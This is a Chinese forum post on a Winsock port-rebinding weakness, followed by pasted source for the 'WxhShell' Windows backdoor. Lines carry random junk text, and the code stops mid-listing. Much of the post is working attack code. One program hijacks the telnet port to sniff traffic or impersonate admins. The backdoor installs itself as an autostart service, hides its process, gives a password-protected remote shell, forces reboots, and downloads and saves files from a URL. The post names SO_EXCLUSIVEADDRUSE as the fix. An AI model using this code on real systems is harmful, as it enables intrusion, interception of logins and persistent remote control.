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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zu*7t<W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #w@FBFr@  
"A*;V  
  saddr.sin_family = AF_INET; 2Ab`i!#  
/:v}Ni"6nF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h$#PboLd  
r PTfwhs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I Z|EPzS  
8!b>[Nsc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P!SsMo6n  
IML.6<,(Z  
  这意味着什么?意味着可以进行如下的攻击: jNI9 .45y  
=w3cF)&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d)3jkHYEjj  
(-],VB (+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JAM]neKiX  
k[}WYs+r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iaJLIrl  
2r!- zEV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GO.7IL{ {  
Cd ]g+R}j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?-~<Vc*  
"sIww  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YCVT0d  
0Y'ow=8M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F-F1^$]k  
3ZbqZ"rE  
  #include ,:#h;4!VRF  
  #include 'BUfdb8d  
  #include ^G 'n z  
  #include    m?gGFxo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y78DYbU.  
  int main() #?`S+YN!q)  
  { 3}8L!2_p  
  WORD wVersionRequested; t%O)Ti  
  DWORD ret; t&p I  
  WSADATA wsaData; "Ec9.#U/  
  BOOL val; JIjo^zOXsc  
  SOCKADDR_IN saddr; XZS%az1%  
  SOCKADDR_IN scaddr; sIbPMu`&U  
  int err; W]Nc6B*gI  
  SOCKET s; R+t]]n6#  
  SOCKET sc; TyA1Qk\  
  int caddsize; K'/if5>Bc  
  HANDLE mt; u\M xQIo'u  
  DWORD tid;   $-|$4lrS  
  wVersionRequested = MAKEWORD( 2, 2 ); , Y,^vzX6  
  err = WSAStartup( wVersionRequested, &wsaData ); 'r(g5H1}gi  
  if ( err != 0 ) { H|7XfM  
  printf("error!WSAStartup failed!\n"); +sTPTCLE  
  return -1; hrO9_B|#  
  } I;1)a4Xc4R  
  saddr.sin_family = AF_INET; ]d~{8h!G  
   SSbx[<E3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uJlW$Oc:.  
x%O6/rl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \YFM5l;IU  
  saddr.sin_port = htons(23); DajN1}]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /2hRL yeAZ  
  { ?RIf0;G  
  printf("error!socket failed!\n"); s&'FaqE  
  return -1; o2hk!#5[4  
  } ?Z4%u8Krvz  
  val = TRUE; s? Xgo&rS_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AlG5n'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sekei6#fi  
  { ho B[L}<c  
  printf("error!setsockopt failed!\n"); pq\N 2d  
  return -1; e*}GQ  
  } U* c'xoP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^nNpT!o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GD'Z"rhI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `u R`O9)e  
x,cvAbwS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ( ;^>G[  
  { lN8l71N^  
  ret=GetLastError(); '-J<ib t  
  printf("error!bind failed!\n"); bBXLW}W  
  return -1; #B6f{D[pI  
  } ](8F]J ,  
  listen(s,2); Y)$%-'=b+  
  while(1) -meY[!"X  
  { 5~T+d1md  
  caddsize = sizeof(scaddr); S-ZN}N{,6  
  //接受连接请求 = &?&}pVF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cDzb}W*UM  
  if(sc!=INVALID_SOCKET) 3&5b!Y  
  { HB$?}V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sKsMF:|OT  
  if(mt==NULL) o1?-+P/  
  { dKC*QHU  
  printf("Thread Creat Failed!\n"); ^,t@HN;gA  
  break; /988K-5k  
  } YTmHht{j#  
  } Y'bz>@1(  
  CloseHandle(mt); HC1<zW[  
  } r}^1dO  
  closesocket(s); `-{? !  
  WSACleanup(); SdYb T)y  
  return 0; ;H`@x Lv*  
  }   u0,QsD)_X0  
  DWORD WINAPI ClientThread(LPVOID lpParam) mvc ;.+  
  { ]];pWlo!  
  SOCKET ss = (SOCKET)lpParam; -K(d]-yv  
  SOCKET sc; +F8K%.Q_  
  unsigned char buf[4096]; $w <R".4  
  SOCKADDR_IN saddr; {X{S[(|  
  long num; -sZ'<(3  
  DWORD val; 0bc>yZ\R  
  DWORD ret; v_pe=LC{-e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 izGU&VeB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `H>&d K|/  
  saddr.sin_family = AF_INET; iM;Btv[|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o@_i&4[MW  
  saddr.sin_port = htons(23); "aI)LlyCY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ebNRZJ?C,  
  { ^ <`SUBI  
  printf("error!socket failed!\n"); m.`I}  
  return -1; U<=d@knH  
  } 67&Q<`V1*q  
  val = 100; '[%Pdd]! E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EW vhT]<0  
  { 4F0w+w JD  
  ret = GetLastError(); ;<' 'oY  
  return -1; yufw}Lo-  
  } V9}\0joM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;-Os~81o?  
  { n 3&h1-  
  ret = GetLastError(); :AFU5mR4&  
  return -1; jPZ+~:m+  
  } <T)0I1S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .|g@#XIwe#  
  { qLb~^'<iD  
  printf("error!socket connect failed!\n"); ^E\n^D-RV  
  closesocket(sc); [A {o"zY  
  closesocket(ss); !\d~9H%`B  
  return -1; Xf#;`*5  
  } `MCtm(<  
  while(1) I+.U.e^gx  
  { r#1W$~?>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &[j9Up'   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $uFvZ?w&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sq(5k+y*J  
  num = recv(ss,buf,4096,0); J(!=Dno  
  if(num>0) y4|<+9<7  
  send(sc,buf,num,0); v?6*n >R  
  else if(num==0) pV (Mh[ }P  
  break; cpw=2vnD  
  num = recv(sc,buf,4096,0); 1,$"'lKwt  
  if(num>0) G4'Ee5(o  
  send(ss,buf,num,0); P*K"0[\n  
  else if(num==0) z^T;d^OJc  
  break; RFFbS{U*  
  } ;8K> ]T)  
  closesocket(ss); +HWFoK  
  closesocket(sc); [bX ^_ Y  
  return 0 ; P2`F" Qsq  
  } >?ar  
_w %:PnO  
\<xo`2b  
========================================================== fH_l2b[-3@  
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下边附上一个代码,,WXhSHELL "x$L 2>9  
)!E:  
========================================================== {` bX*]  
,?qJAV~>  
#include "stdafx.h" we!w5./Xm  
-}sMOy`  
#include <stdio.h> >FHx],  
#include <string.h> # c1LOz  
#include <windows.h> Eul3 {+]  
#include <winsock2.h> zd- *UF i  
#include <winsvc.h> 6(htpT%J  
#include <urlmon.h> VyYrL]OrA  
:(/1,]bF  
#pragma comment (lib, "Ws2_32.lib") m1]/8{EC7  
#pragma comment (lib, "urlmon.lib") >$CNR*}@  
JgP%4)]LV  
#define MAX_USER   100 // 最大客户端连接数 (vi^ t{k  
#define BUF_SOCK   200 // sock buffer Iix:Y}  
#define KEY_BUFF   255 // 输入 buffer *KiY+_8>  
Z[Iej:o5  
#define REBOOT     0   // 重启 qM 1ZCt  
#define SHUTDOWN   1   // 关机 5?Q5cD2]\6  
CK4#ZOiaa  
#define DEF_PORT   5000 // 监听端口 }uaFmXy3  
edpRx"_  
#define REG_LEN     16   // 注册表键长度 5\}Y=Pa  
#define SVC_LEN     80   // NT服务名长度 IQ~Anp^R  
IIXA)b!  
// 从dll定义API Mg8ciV}\xY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jw\4`NZ]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 32anmVnf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BonjK#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7TypzgXNe  
rP"Y.;s  
// wxhshell配置信息 iGj,B =35  
struct WSCFG { |t3}>+"?z  
  int ws_port;         // 监听端口 <~v4BiQ3l^  
  char ws_passstr[REG_LEN]; // 口令 (=gqqOOl~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ND=JpVkvZ?  
  char ws_regname[REG_LEN]; // 注册表键名 7T!t*sSO'  
  char ws_svcname[REG_LEN]; // 服务名 <j#IR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :U'n0\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ).u>%4=6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .Q@]+&`|}i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }waZGJLN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g3%x"SlIU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D(TfW   
5OO XCtIKf  
}; Tb:'M:dM"  
k@n L(2  
// default Wxhshell configuration lSd tw b  
struct WSCFG wscfg={DEF_PORT, =Bh,>Kg  
    "xuhuanlingzhe", } MP_  
    1, o2]Np~`g,  
    "Wxhshell", Qch'C0u  
    "Wxhshell", +[S<"}ls7  
            "WxhShell Service", aGE} EK}  
    "Wrsky Windows CmdShell Service", i \lr KA  
    "Please Input Your Password: ", XJS^{=/  
  1, v6x jLP;O  
  "http://www.wrsky.com/wxhshell.exe", S4(?= ,^-  
  "Wxhshell.exe" TDg<&ND3  
    }; =ty{ugM<  
B*QLKO:)i  
// 消息定义模块 QT1oUP#*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %^"i\- *|S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d] E.F64{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OH 88d:  
char *msg_ws_ext="\n\rExit."; lq  Av  
char *msg_ws_end="\n\rQuit."; SEZ08:>x r  
char *msg_ws_boot="\n\rReboot..."; =3 ;! 5P  
char *msg_ws_poff="\n\rShutdown..."; = P$7 "  
char *msg_ws_down="\n\rSave to "; oVfRp.a  
,|UwZ_.  
char *msg_ws_err="\n\rErr!"; oMq:4W,  
char *msg_ws_ok="\n\rOK!"; 4!'4 l=jO  
O#vIn}  
char ExeFile[MAX_PATH]; "88<{xL  
int nUser = 0; &&96kg3  
HANDLE handles[MAX_USER]; ?i~mt'O  
int OsIsNt; H}1XK|K3#H  
H3ob 8+J  
SERVICE_STATUS       serviceStatus; ai4ro"H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ( M3-S5   
U\YzE.G1]S  
// 函数声明 reoCyP\!!  
int Install(void); : +fW#:  
int Uninstall(void); P>*`<$FR  
int DownloadFile(char *sURL, SOCKET wsh); >+ Im:fD  
int Boot(int flag); 5 ^tetDz}  
void HideProc(void); h~&5;  
int GetOsVer(void); jrYA5>=>#  
int Wxhshell(SOCKET wsl); k]A$?C0Q<%  
void TalkWithClient(void *cs); 6bbzgULl  
int CmdShell(SOCKET sock); K7 tSSX<N  
int StartFromService(void); @Y&(1Wl  
int StartWxhshell(LPSTR lpCmdLine); Iw</X}#\  
$n<X'7@0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <gY.2#6C\%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }/%^;@q;  
"Za'K+4  
// 数据结构和表定义 DDU)G51>d  
SERVICE_TABLE_ENTRY DispatchTable[] = glNXamo  
{ mH4Jl1S&  
{wscfg.ws_svcname, NTServiceMain}, KMV&c  
{NULL, NULL} {,o =K4CD  
}; _^] :tL6  
fq[,9lK  
// 自我安装 f\vg<lca  
int Install(void) Sh o] ~)XX  
{ Hl*/s  
  char svExeFile[MAX_PATH]; C;eM:v0A[  
  HKEY key; 4jz2x #T  
  strcpy(svExeFile,ExeFile); 2E=vMAS  
OQby=}A  
// 如果是win9x系统,修改注册表设为自启动 sfEy  
if(!OsIsNt) { 7E)*]7B%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h#I]gHQK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DzK%$#{<  
  RegCloseKey(key); ;rJ/Diz!g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9]*hP](  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X!/  
  RegCloseKey(key); #p|7\Y  
  return 0; FTZaN1%`  
    } `1U?^9Nf  
  } ;,jms~ik  
} H83/X,"!w  
else { ojy[<  
_6&TCd<  
// 如果是NT以上系统,安装为系统服务 ]tDuCZA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a?X{k|;!7u  
if (schSCManager!=0)  N'e3<  
{ `F TA{ba  
  SC_HANDLE schService = CreateService 4"y1M=he  
  ( [%yCnt  
  schSCManager, \>GHc}  
  wscfg.ws_svcname, "yc_*R(pU  
  wscfg.ws_svcdisp, QGQ}I  
  SERVICE_ALL_ACCESS, BF(.^oh"n0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h(wu5G0C#u  
  SERVICE_AUTO_START, x5)YZ~5  
  SERVICE_ERROR_NORMAL, (}NKW  
  svExeFile, pz@wbu=($4  
  NULL, BD (  
  NULL, #99fFs`w  
  NULL, OKp0@A)8  
  NULL, [qGj*`@C  
  NULL g4 G?hv`R  
  ); xxC2F:Q?U  
  if (schService!=0) b63tjqk  
  { !XJS"owr  
  CloseServiceHandle(schService); [N4#R  
  CloseServiceHandle(schSCManager); y7)$~R):-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z7'C;I  
  strcat(svExeFile,wscfg.ws_svcname); iw ==q:$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mUW4d3tE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BLs kUrPF  
  RegCloseKey(key); y.'5*08S0  
  return 0; 2PrUI;J$  
    }  !xz0zT.  
  } ndU<,{r  
  CloseServiceHandle(schSCManager); {"x8 q  
} CHPu$eu  
} *[^[!'kT&  
9e*v&A2Y'  
return 1; vUU)zZB ~  
} ui\yY3?  
}pzUHl>  
// 自我卸载 <+wbnnK  
int Uninstall(void) )LP=IT  
{ {!`0i  
  HKEY key; eJ3w}"?9s  
 aX'R&R  
if(!OsIsNt) { ..g?po  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nr t3wqJ  
  RegDeleteValue(key,wscfg.ws_regname); g_l=z`,8  
  RegCloseKey(key); <:rbK9MIl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  @{|vW  
  RegDeleteValue(key,wscfg.ws_regname); 0$~zeG"  
  RegCloseKey(key); 2# y!(D8  
  return 0; k15B5  
  } Pl}>  
} g]hTz)8fF  
} 6ofi8( n[  
else { fi6i{(K  
XsVp7zk\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B7 ^*xskH  
if (schSCManager!=0) O~1vX9  
{ O"D0+BK79e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iksd^\]f  
  if (schService!=0) dP0%<Q|  
  { sr+Y"R  
  if(DeleteService(schService)!=0) { xKl!{A9$w  
  CloseServiceHandle(schService); sfv{z!mo  
  CloseServiceHandle(schSCManager); 0"*!0s ~  
  return 0; ve [*t`  
  } E9]/sFA-]  
  CloseServiceHandle(schService); j~IX  
  } aWe?n;  
  CloseServiceHandle(schSCManager); rX-V0  
} -f+U:/'.>v  
} 1m52vQSo3l  
oY#62&wk4  
return 1; xTy[X"sJ  
} HFr#Ql>g  
 m,,FNYW  
// 从指定url下载文件 b xU13ESv  
int DownloadFile(char *sURL, SOCKET wsh) 0gs0[@  
{ \ nIz5J}3  
  HRESULT hr; &K1\"  
char seps[]= "/"; a<W[???m/M  
char *token; o]#M8)=  
char *file; 5L'bF2SI  
char myURL[MAX_PATH]; )@X `B d  
char myFILE[MAX_PATH]; JwkMRO  
~(BvI zzD  
strcpy(myURL,sURL); V8aLPJ0_  
  token=strtok(myURL,seps); A 11w{`EM  
  while(token!=NULL) +, SUJ|  
  { j"8f,er  
    file=token; 8hTtBa  
  token=strtok(NULL,seps); Y55Yo5<j/+  
  } x"n!nT%Z  
(&=<UGY(w  
GetCurrentDirectory(MAX_PATH,myFILE); (d L;A0L  
strcat(myFILE, "\\"); "1<>c/h  
strcat(myFILE, file); AjTkQ)  
  send(wsh,myFILE,strlen(myFILE),0); -FAAP&LG  
send(wsh,"...",3,0); Yt 9{:+[RK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <$f7&6B  
  if(hr==S_OK) ; W/K7}  
return 0; [>B`"nyNQ  
else [a\U8 w  
return 1; ^`W8>czi  
Q: H`TSR]  
} 986y\9Zu  
=~OH.=9\  
// 系统电源模块 nX@lR~g%F  
int Boot(int flag) <.DFa/G   
{ v4?qI >/  
  HANDLE hToken; qdlz#-B  
  TOKEN_PRIVILEGES tkp; :YZqrcr}  
o3_dHbdI  
  if(OsIsNt) { duCso M/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u afSz@`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )FNvtLZ  
    tkp.PrivilegeCount = 1; 7O_@b$Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;1S~'B&1Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J 8/]&Ow  
if(flag==REBOOT) { E3pnu.;U:_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X+'z@xpj  
  return 0; Dr;-2$Kt/&  
} !+& Rn\e%7  
else { To x{Sk3L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j}0W|*  
  return 0; IZ<d~ [y  
} mkA1Sh{hX>  
  } HFJna2B`  
  else { eYQq@lrWv  
if(flag==REBOOT) { rf2+~B{$,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ; TaR1e0  
  return 0; Kq`C5  
} s 0}OsHAj  
else { - P;_j,~U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D1&%N{  
  return 0; fl{wF@C6  
} ~! *xi  
} `m6>r9:  
7Z-'@m  
return 1; WaU+ZgDrG  
} &kR+7  
#Y*?k TF  
// win9x进程隐藏模块 '8.r   
void HideProc(void) gW{<:6}!*  
{ a[<'%S#3x  
s "KPTV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7M#eR8*[se  
  if ( hKernel != NULL ) `>M-J-J  
  { _ >)+ u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <h(KI Y9T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p0 @ ,-  
    FreeLibrary(hKernel); QXXB>gOY5  
  } hdL/zW7]  
)E--E+j  
return; /S32)=(  
} _[zZm*  
(w31W[V'#  
// 获取操作系统版本 e):jQite   
int GetOsVer(void) \Tf$i(0q  
{ /.Yf&2X\  
  OSVERSIONINFO winfo; q=NI}k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q^:>sfd  
  GetVersionEx(&winfo); !N\<QRb\q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XCCh*qym  
  return 1; n#jBqr&!M  
  else $XBn:0U  
  return 0; 2K^D%U  
} &`#k 1t'  
|Ai/q6u  
// 客户端句柄模块 3AKT>Wy =  
int Wxhshell(SOCKET wsl) pkW }\r  
{ N_dHPa  
  SOCKET wsh; $uw[X  
  struct sockaddr_in client; xvP=i/SO  
  DWORD myID; _|f1q  
(HNxo{t  
  while(nUser<MAX_USER) []i/\0C^  
{ RMinZ}/  
  int nSize=sizeof(client); "I[a]T}/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )-98pp7~BB  
  if(wsh==INVALID_SOCKET) return 1; = NHE_ 4/p  
9Fo00"q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $8/=@E{51  
if(handles[nUser]==0) $w,?%i97  
  closesocket(wsh); UQ0Sf u  
else hv)>HU&  
  nUser++; D-{;;<nIr`  
  } bQU{)W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k#eH Q!  
iA~LH6  
  return 0; "_LDs(&  
} d=` a-R0  
xq6 eu 9   
// 关闭 socket 0bG[pp$[  
void CloseIt(SOCKET wsh) (p19"p  
{ )b%t4~7  
closesocket(wsh); *~h@KQm7  
nUser--; OD@k9I[  
ExitThread(0); s3(mkdXv  
} QN4{xf:}S  
a+HGlj 2>  
// 客户端请求句柄 GHs,,J;  
void TalkWithClient(void *cs) B$=oU   
{ 1K* `i(  
v3p0  
  SOCKET wsh=(SOCKET)cs; .OyzM  
  char pwd[SVC_LEN]; dd+hX$,  
  char cmd[KEY_BUFF]; V 4#bW  
char chr[1]; <?2g\+{s9  
int i,j; VyMFALSe]h  
J-UqH3({Z,  
  while (nUser < MAX_USER) {  ff;9P5X  
q1a*6*YB  
if(wscfg.ws_passstr) { 0?$jC-@k:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]|xfKDu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C vOH*K'  
  //ZeroMemory(pwd,KEY_BUFF); )%+7"7.  
      i=0; (DIMt-wz  
  while(i<SVC_LEN) { kTW[)  
|F}6Zv  
  // 设置超时 Qi=pP/Y  
  fd_set FdRead; h5o6G1ur  
  struct timeval TimeOut; +s j2C  
  FD_ZERO(&FdRead); g1H$wU3eu  
  FD_SET(wsh,&FdRead); h@2YQgw`  
  TimeOut.tv_sec=8; JBI>D1`"  
  TimeOut.tv_usec=0; ip+?k<]z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yC:C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {3* Ne /  
a5k![sw\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S'_2o?fs  
  pwd=chr[0]; H5eGl|Z5]^  
  if(chr[0]==0xd || chr[0]==0xa) { 9 df GV!Z  
  pwd=0; ?mp}_x#=  
  break; Yn_v'Os2  
  } 5M&<tj/[a0  
  i++; MqAN~<l [  
    } X( )yhe_  
h( DmSW  
  // 如果是非法用户,关闭 socket Ln$= 8x^T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D~zk2  
} fzJ^`  
{00Qg{;K|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w }=LC#le  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mhgvN-? "h  
`]I p`_{  
while(1) { Zs|m_O G  
$/kZKoF{f  
  ZeroMemory(cmd,KEY_BUFF); B'-n ^';  
|/%X8\  
      // 自动支持客户端 telnet标准   NtG^t}V  
  j=0; a|-ozBFR  
  while(j<KEY_BUFF) { ?&JK q^9\I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V` 4/oM`  
  cmd[j]=chr[0]; pS~=T}o  
  if(chr[0]==0xa || chr[0]==0xd) { bMB@${i}  
  cmd[j]=0; +F92_a4  
  break; WS.lDMYE7  
  } /^9=2~b  
  j++; ID~}pEQ  
    } ^4C djMF-E  
f_z]kA +H  
  // 下载文件 qm6X5T  
  if(strstr(cmd,"http://")) { r-AD*h@QZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +' SG$<Xv  
  if(DownloadFile(cmd,wsh)) Zg3 /,:1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q"QZ^!zRl  
  else Tq,dlDDOR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=be ki]  
  } !l$k6,WJi  
  else { '3=@UBs  
[JEf P/n|.  
    switch(cmd[0]) { z:;yx  
  ojx2[a\  
  // 帮助 G%>{Z?!B  
  case '?': { jt0f*e YE8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?>NX}~2cf  
    break; 8M,$|\U  
  } _q}^#-  
  // 安装 C8O<fwNM  
  case 'i': { Bo;{ QoB  
    if(Install()) pp+z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /H$:Q|T}  
    else (gUVZeVFP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oK3PA  
    break; U2 Cmf  
    }  63VgQ  
  // 卸载 ,4r 4 <  
  case 'r': { ]f6,4[  
    if(Uninstall()) jEm =A8q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); usw(]CnH  
    else jxZ_-1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq|{Nt%Q  
    break; L0*f(H  
    } 4!A(7 s4t  
  // 显示 wxhshell 所在路径 CYdYa|  
  case 'p': { \CBL[X5tr  
    char svExeFile[MAX_PATH]; ^@<Ia-x  
    strcpy(svExeFile,"\n\r"); 2]Ei4%jo  
      strcat(svExeFile,ExeFile); 2tS,q_-=  
        send(wsh,svExeFile,strlen(svExeFile),0); .SDE6nvbW  
    break; 2+yti,s+/  
    } (d['f]S+&  
  // 重启 \^dYmU  
  case 'b': { e"ClG/M_XS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Nf%x1m5s  
    if(Boot(REBOOT)) fr&K^je\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 u>X,2gUR  
    else { NW` Mc&  
    closesocket(wsh); 8Rnq &8A  
    ExitThread(0); ,vB nr_D#  
    } k)agbx  
    break; ;".]W;I*O  
    } vb$i00?  
  // 关机 W{t- UK   
